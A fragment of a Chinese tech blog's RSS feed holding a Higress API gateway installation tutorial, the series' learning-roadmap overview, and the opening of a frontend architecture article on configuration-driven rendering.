&lt;hr /&gt;
&lt;h2&gt;方式一：Docker Compose（快速体验）&lt;/h2&gt;
&lt;h3&gt;一键安装脚本&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 官方一键脚本（最简单）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 参数说明：
# -a: 自动安装依赖（Docker/Docker Compose）
# -c: 指定配置目录（默认 ~/.higress）
# -p: 指定端口（默认 8080/8443）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;手动 Docker Compose&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# docker-compose.yml
version: &apos;3.8&apos;

services:
  higress:
    image: higress-registry.cn-hangzhou.cr.aliyuncs.com/higress/all-in-one:latest
    container_name: higress
    ports:
      - &quot;8080:8080&quot;     # HTTP 网关端口
      - &quot;8443:8443&quot;     # HTTPS 网关端口
      - &quot;8001:8001&quot;     # Higress Console 端口
    volumes:
      - ./data:/data    # 持久化配置
    restart: unless-stopped
    environment:
      - CONFIG_TEMPLATE=standalone
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 启动
docker compose up -d

# 查看日志
docker compose logs -f higress

# 访问 Console
open http://localhost:8001
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证安装&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检查容器状态
docker ps | grep higress

# 测试网关（默认返回 404，因为没有配置路由）
curl -i http://localhost:8080

# 查看 Higress 版本
docker exec higress higress version
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;方式二：Kubernetes + Helm（生产推荐）&lt;/h2&gt;
&lt;h3&gt;前置要求&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Kubernetes 1.28+&lt;/li&gt;
&lt;li&gt;Helm 3.8+&lt;/li&gt;
&lt;li&gt;kubectl 配置好集群访问&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;准备 K8s 集群（本地实验）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 方案 1：kind（推荐，轻量）
kind create cluster --name higress

# 方案 2：minikube
minikube start --cpus=4 --memory=8192

# 方案 3：云厂商 K8s（ACK/TKE/CCE/EKS）
# 按厂商文档创建集群
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Helm 安装 Higress&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 添加 Helm 仓库
helm repo add higress https://higress.io/helm-charts
helm repo update

# 2. 查看可用版本
helm search repo higress --versions

# 3. 安装（生产配置）
helm install higress higress/higress \
  -n higress-system \
  --create-namespace \
  --set global.local=false \
  --set higress-core.controller.replicas=2 \
  --set higress-core.gateway.replicas=2 \
  --set higress-console.replicas=1

# 4. 等待部署完成
kubectl wait --for=condition=available deployment/higress-controller \
  -n higress-system --timeout=300s
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Helm Values 配置详解&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# values.yaml（生产推荐配置）
global:
  local: false                    # 非本地模式
  o11y:
    enabled: true                 # 启用可观测性
    grafana:
      enabled: true

higress-core:
  controller:
    replicas: 2                   # 控制面副本数（高可用）
    resources:
      requests:
        cpu: 500m
        memory: 512Mi
      limits:
        cpu: 2000m
        memory: 2Gi
  
  gateway:
    replicas: 2                   # 数据面副本数（按流量调整）
    resources:
      requests:
        cpu: 1000m
        memory: 1Gi
      limits:
        cpu: 4000m
        memory: 4Gi
    service:
      type: LoadBalancer          # 生产用 LoadBalancer，测试用 NodePort
      annotations:
        # 云厂商 SLB 注解（按实际调整）
        service.beta.kubernetes.io/alibaba-cloud-loadbalancer-spec: &quot;slb.s2.small&quot;

higress-console:
  replicas: 1
  service:
    type: ClusterIP               # 通过 Ingress 暴露，不直接 LoadBalancer
  admin:
    password: &quot;your-strong-password&quot;  # 务必修改默认密码
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;验证 K8s 部署&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检查 Pod 状态
kubectl get pods -n higress-system
# NAME                                    READY   STATUS    RESTARTS   AGE
# higress-controller-xxx                  1/1     Running   0          2m
# higress-gateway-xxx                     1/1     Running   0          2m
# higress-console-xxx                     1/1     Running   0          2m

# 检查 Service
kubectl get svc -n higress-system
# NAME                TYPE           CLUSTER-IP      EXTERNAL-IP     PORT(S)
# higress-gateway     LoadBalancer   10.96.xxx.xxx   47.xxx.xxx.xxx  80:3xxxx/TCP,443:3xxxx/TCP

# 访问网关
curl -i http://&amp;lt;EXTERNAL-IP&amp;gt;

# 访问 Console（通过 port-forward）
kubectl port-forward svc/higress-console 8001:8001 -n higress-system
open http://localhost:8001
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;方式三：本地开发环境（插件开发）&lt;/h2&gt;
&lt;h3&gt;安装依赖&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# Go 1.24+（Wasm 插件开发必需）
# 下载：https://go.dev/dl/
go version  # 确认 go1.24.x

# Docker（构建 Wasm 镜像）
docker --version

# kubectl（K8s 操作）
kubectl version --client

# helm（Higress 部署）
helm version

# oras（OCI 镜像推送）
oras version
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;本地 Higress 开发环境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 克隆 Higress 源码
git clone https://github.com/alibaba/higress.git
cd higress

# 2. 启动本地 K8s（kind）
make kind-up

# 3. 部署 Higress（开发模式）
make deploy-dev

# 4. 验证
kubectl get pods -n higress-system
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Wasm 插件开发环境&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 1. 克隆 wasm-go SDK
git clone https://github.com/higress-group/wasm-go.git
cd wasm-go

# 2. 创建插件项目
mkdir my-plugin &amp;amp;&amp;amp; cd my-plugin
go mod init my-plugin

# 3. 编写 main.go（见第 09 篇）

# 4. 编译 Wasm
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm

# 5. 本地测试（用 Higress 开发环境加载）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Higress Console 使用&lt;/h2&gt;
&lt;h3&gt;访问 Console&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# K8s 部署：port-forward
kubectl port-forward svc/higress-console 8001:8001 -n higress-system

# Docker Compose：直接访问
open http://localhost:8001

# 默认账号密码：admin / admin（首次登录强制修改）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Console 功能概览&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模块&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;概览&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;网关状态、QPS、延迟、错误率监控&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;路由管理&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;可视化配置域名、路径、Header 路由规则&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;服务来源&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;配置服务发现（K8s/Nacos/Consul/DNS/静态）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;插件市场&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;浏览、安装、配置 Wasm 插件&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;策略配置&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;限流、熔断、重试、超时、CORS 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;监控告警&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Prometheus/Grafana 集成、日志查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;系统设置&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;用户管理、权限、全局配置&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;通过 Console 配置第一个路由&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 登录 Console → 路由管理 → 创建路由
2. 填写：
   - 路由名称：demo-route
   - 域名：demo.example.com
   - 路径：/api/*
   - 目标服务：httpbin（内置测试服务）
3. 保存 → 测试：
   curl -H &quot;Host: demo.example.com&quot; http://&amp;lt;gateway-ip&amp;gt;/api/get
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;常见问题&lt;/h2&gt;
&lt;h3&gt;Q1: Docker Compose 启动失败，端口被占用&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看端口占用
lsof -i :8080
# 或
netstat -tlnp | grep 8080

# 修改 docker-compose.yml 端口映射
ports:
  - &quot;18080:8080&quot;   # 改用 18080
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q2: K8s 部署后 Pod 一直 Pending&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 查看 Pod 事件
kubectl describe pod &amp;lt;pod-name&amp;gt; -n higress-system

# 常见原因：
# 1. 资源不足 → 调整 replicas 或 resources
# 2. 存储类缺失 → 检查 PVC 状态
# 3. 镜像拉取失败 → 检查 imagePullSecrets
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: Console 无法访问&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 检查 Service
kubectl get svc higress-console -n higress-system

# 检查 Pod 日志
kubectl logs -n higress-system deploy/higress-console

# 确认 port-forward 正常
kubectl port-forward svc/higress-console 8001:8001 -n higress-system
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q4: Wasm 插件编译失败&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 确认 Go 版本
go version  # 需要 go1.24+

# 确认环境变量
echo $GOOS   # 编译时设为 wasip1
echo $GOARCH # 编译时设为 wasm

# 正确编译命令
GOOS=wasip1 GOARCH=wasm go build -o plugin.wasm
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;三种部署方式&lt;/strong&gt;：Docker Compose（体验）、K8s+Helm（生产）、源码编译（开发）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Docker Compose&lt;/strong&gt;：&lt;code&gt;curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;K8s Helm&lt;/strong&gt;：&lt;code&gt;helm install higress higress/higress -n higress-system --create-namespace&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;核心组件&lt;/strong&gt;：higress-controller（控制面）、higress-gateway（数据面）、higress-console（Web UI）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Console 访问&lt;/strong&gt;：port-forward 8001 端口，默认 admin/admin&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wasm 插件编译&lt;/strong&gt;：Go 1.24+，&lt;code&gt;GOOS=wasip1 GOARCH=wasm go build&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生产配置要点&lt;/strong&gt;：controller/gateway 各 2 副本、LoadBalancer Service、强密码&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-02-core-concepts/&quot;&gt;核心概念&lt;/a&gt; 将深入讲解 Higress 的架构设计：Envoy/Istio/Wasm 的关系、数据面与控制面、路由/服务/域名/插件模型。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/higress-roadmap-00-overview/&quot;&gt;Higress 学习路线总览&lt;/a&gt; | &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Higress 学习路线总览</title><link>http://117.72.32.87/blog/posts/higress-roadmap-00-overview/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/higress-roadmap-00-overview/</guid><description>Higress 云原生 API 网关学习路线总览：从环境搭建、核心概念、路由配置、服务发现、流量治理、安全认证、可观测性，到 Wasm 插件开发、AI 网关、生产最佳实践的完整学习路径。</description><pubDate>Thu, 17 Sep 2026 02:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本系列共 &lt;strong&gt;15 篇文章&lt;/strong&gt;，面向希望系统学习 Higress 云原生 API 网关的后端/运维/架构师，也适合想从 Nginx/Spring Cloud Gateway 迁移到云原生网关的开发者。&lt;/p&gt;
&lt;p&gt;学习路径：&lt;strong&gt;环境搭建 → 核心概念 → 网关功能 → Wasm 插件 → AI 网关 → 生产实战&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;知识地图&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Higress 学习路线
│
├── 基础篇
│   ├── 01 环境搭建（Docker/K8s/Helm/Console）
│   └── 02 核心概念（Envoy/Istio/Wasm/数据面/控制面）
│
├── 网关功能篇
│   ├── 03 路由配置（Ingress/Gateway API/域名/路径/Header/权重）
│   ├── 04 服务发现（K8s/Nacos/Consul/Eureka/DNS/静态）
│   ├── 05 流量治理（限流/熔断/重试/超时/灰度/金丝雀）
│   ├── 06 安全认证（JWT/OAuth2/API Key/CORS/WAF/mTLS）
│   └── 07 可观测性（日志/Metrics/Tracing/Prometheus/Grafana）
│
├── Wasm 插件篇
│   ├── 08 Wasm 插件基础（Proxy-Wasm/沙箱/热更新/OCI 分发）
│   ├── 09 Go 开发 Wasm 插件（wasm-go SDK/钩子/编译/调试）
│   └── 10 Wasm 插件实战（JWT 认证/请求改写/限流/灰度）
│
└── 高级篇
    ├── 11 AI 网关（LLM 路由/Token 限流/Prompt 改写/多模型）
    ├── 12 Console 与运维（Web 控制台/配置管理/升级/故障排查）
    ├── 13 网关选型对比（Higress vs APISIX vs Kong vs SCG vs Nginx）
    └── 14 生产最佳实践（高可用/性能调优/安全加固/CI/CD/多集群）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;文章索引&lt;/h2&gt;
&lt;h3&gt;基础篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;01&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-01-env-setup/&quot;&gt;环境搭建&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Docker/K8s/Helm 部署、Higress Console、本地开发环境&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;02&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-02-core-concepts/&quot;&gt;核心概念&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Envoy/Istio/Wasm、数据面/控制面、路由/服务/域名/插件模型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;网关功能篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;03&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-03-routing/&quot;&gt;路由配置&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Ingress/Gateway API、域名/路径/Header/Query/权重路由&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;04&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-04-service-discovery/&quot;&gt;服务发现&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;K8s Service/Nacos/Consul/Eureka/DNS/静态服务&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;05&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-05-traffic-management/&quot;&gt;流量治理&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;限流/熔断/重试/超时/灰度发布/金丝雀/蓝绿&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;06&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-06-security/&quot;&gt;安全认证&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;JWT/OAuth2/API Key/CORS/WAF/mTLS/IP 黑白名单&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;07&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-07-observability/&quot;&gt;可观测性&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;访问日志/Metrics/Tracing/Prometheus/Grafana/SkyWalking&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Wasm 插件篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;08&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-08-wasm-basics/&quot;&gt;Wasm 插件基础&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Proxy-Wasm 规范、沙箱隔离、热更新、OCI 镜像分发&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;09&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-09-wasm-go/&quot;&gt;Go 开发 Wasm 插件&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;wasm-go SDK、钩子函数、编译调试、插件发布&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-10-wasm-practice/&quot;&gt;Wasm 插件实战&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;JWT 认证插件、请求改写插件、限流插件、灰度插件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;高级篇&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;编号&lt;/th&gt;
&lt;th&gt;标题&lt;/th&gt;
&lt;th&gt;核心内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-11-ai-gateway/&quot;&gt;AI 网关&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;LLM 路由、Token 限流、Prompt 改写、多模型负载、内容审核&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-12-console-ops/&quot;&gt;Console 与运维&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Web 控制台、配置管理、版本升级、监控告警、故障排查&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-13-comparison/&quot;&gt;网关选型对比&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Higress vs APISIX vs Kong vs Spring Cloud Gateway vs Nginx&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;/blog/posts/higress-roadmap-14-best-practices/&quot;&gt;生产最佳实践&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;高可用部署、性能调优、安全加固、CI/CD、多集群管理&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;学习路径建议&lt;/h2&gt;
&lt;h3&gt;按角色选择&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;角色&lt;/th&gt;
&lt;th&gt;推荐路径&lt;/th&gt;
&lt;th&gt;重点章节&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;后端开发&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01→02→03→04→05→06→07&lt;/td&gt;
&lt;td&gt;路由、服务发现、流量治理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;运维/SRE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;01→02→07→12→14&lt;/td&gt;
&lt;td&gt;可观测性、Console、生产实践&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;架构师&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;02→13→14→11&lt;/td&gt;
&lt;td&gt;核心概念、选型对比、AI 网关&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;插件开发者&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;02→08→09→10&lt;/td&gt;
&lt;td&gt;Wasm 基础、Go 开发、实战&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;全栈/技术负责人&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;全部按顺序&lt;/td&gt;
&lt;td&gt;系统性掌握&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;按时间规划&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;阶段&lt;/th&gt;
&lt;th&gt;时长&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;入门&lt;/td&gt;
&lt;td&gt;1-2 天&lt;/td&gt;
&lt;td&gt;01 环境搭建 + 02 核心概念&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;基础功能&lt;/td&gt;
&lt;td&gt;3-5 天&lt;/td&gt;
&lt;td&gt;03-07 路由/服务发现/流量/安全/可观测&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wasm 插件&lt;/td&gt;
&lt;td&gt;5-7 天&lt;/td&gt;
&lt;td&gt;08-10 基础/Go 开发/实战&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;高级进阶&lt;/td&gt;
&lt;td&gt;3-5 天&lt;/td&gt;
&lt;td&gt;11-14 AI 网关/运维/选型/最佳实践&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;总计&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;2-3 周&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;完整掌握 Higress&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;前置知识&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;必备&lt;/strong&gt;：Linux 基础、Docker、HTTP 协议&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;推荐&lt;/strong&gt;：Kubernetes 基础（Pod/Service/Ingress）、Go 语言（Wasm 插件开发）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可选&lt;/strong&gt;：Envoy/Istio 经验（理解更深）、Nginx 配置（对比学习）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# 本地实验环境（二选一）

# 方案 1：Docker Compose（最简单，适合快速体验）
curl -fsSL https://higress.io/standalone/get-higress.sh | bash -s -- -a

# 方案 2：Kubernetes（生产级，推荐）
# 需要先准备 K8s 集群（minikube/kind/云厂商 K8s）
helm repo add higress https://higress.io/helm-charts
helm install higress higress/higress -n higress-system --create-namespace

# 验证
kubectl get pods -n higress-system
# 应该看到 higress-controller、higress-gateway、higress-console 等 Pod
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;系列约定&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;配置示例&lt;/strong&gt;：以 YAML 为主（K8s CRD / Helm values）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;代码示例&lt;/strong&gt;：Go 语言（Wasm 插件开发）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;版本基准&lt;/strong&gt;：Higress 2.x（2026 年最新稳定版）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;环境基准&lt;/strong&gt;：Kubernetes 1.28+、Docker 24+、Go 1.24+&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/higress-roadmap-01-env-setup/&quot;&gt;环境搭建&lt;/a&gt; 将详细讲解 Docker Compose、Kubernetes Helm、本地开发环境三种部署方式，以及 Higress Console 的使用。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/higress-roadmap/&quot;&gt;Higress 学习路线合集&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端深水区实战：配置驱动渲染 / 2D×3D 协同 / Hybrid 硬件链路 / 离线包热更新</title><link>http://117.72.32.87/blog/posts/interview-guide-21-frontend-deep-practice/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-21-frontend-deep-practice/</guid><description>挑选 6 年前端投入最深、最有复用价值的五个深水区实践，完整拆解&quot;分析 → 设计 → 落地 → 治理&quot;闭环：配置驱动渲染驯服组合爆炸、Konva 2D × Three.js 协同、Hybrid 硬件跨端 N-API 链路、离线包差量热更新、spec + TDD 的 AI 协作流。</description><pubDate>Wed, 16 Sep 2026 16:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是《前端面试宝典》的&lt;strong&gt;深水区实战收官篇&lt;/strong&gt;，是 &lt;a href=&quot;/blog/posts/interview-guide-20-frontend-core-qa/&quot;&gt;资深前端核心能力问答&lt;/a&gt; 的落地续篇。真正拉开差距的不是&quot;会用多少框架&quot;，而是有没有在几个深水区问题上完整走过&quot;分析 → 设计 → 落地 → 治理&quot;闭环。这里挑五个投入最深、最有复用价值的实践，把设计思路和踩坑细节完整写出来。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;一、配置驱动渲染：驯服「模板 × 场景 × 画幅」的组合爆炸&lt;/h2&gt;
&lt;h3&gt;1.1 问题背景&lt;/h3&gt;
&lt;p&gt;业务里有一类需求非常典型：同一套内容模板，要投放到不同&lt;strong&gt;场景&lt;/strong&gt;（不同数据源、主题、语言），适配不同&lt;strong&gt;画幅&lt;/strong&gt;（横屏 16:9、竖屏 9:16、方屏 1:1、异形分辨率的设备屏）。&lt;/p&gt;
&lt;p&gt;最直觉的写法是每个组合写一份布局代码。组合数量是 &lt;code&gt;模板 N × 场景 M × 画幅 K&lt;/code&gt;——我们当时 N=12、M=5、K=8，理论组合 480 种。即使大量组合共享逻辑，代码里也长满了这种分支：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 反例：组合爆炸的分支代码
if (template === &apos;poster&apos; &amp;amp;&amp;amp; scene === &apos;retail&apos;) {
  if (ratio === &apos;9:16&apos;) { /* 一套布局逻辑 */ }
  else if (ratio === &apos;16:9&apos;) { /* 又一套 */ }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后果是：新增一个画幅要改 12 个模板；一个布局 bug 要在多个分支里修多次；测试矩阵没法穷举，线上适配问题层出不穷。&lt;/p&gt;
&lt;h3&gt;1.2 设计思路：把组合从代码空间搬到配置空间&lt;/h3&gt;
&lt;p&gt;核心决策：&lt;strong&gt;代码只实现&quot;渲染规则&quot;，配置描述&quot;具体组合&quot;&lt;/strong&gt;。架构分四层：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────┐
│ Schema 层   元素结构 + 可变属性声明           │
├─────────────────────────────────────────────┤
│ 约束层     画幅适配规则（对齐/伸缩/溢出策略）  │
├─────────────────────────────────────────────┤
│ 场景层     数据源/主题/语言 变量注入           │
├─────────────────────────────────────────────┤
│ 运行时     统一渲染管线（Konva / DOM 双渲染器）│
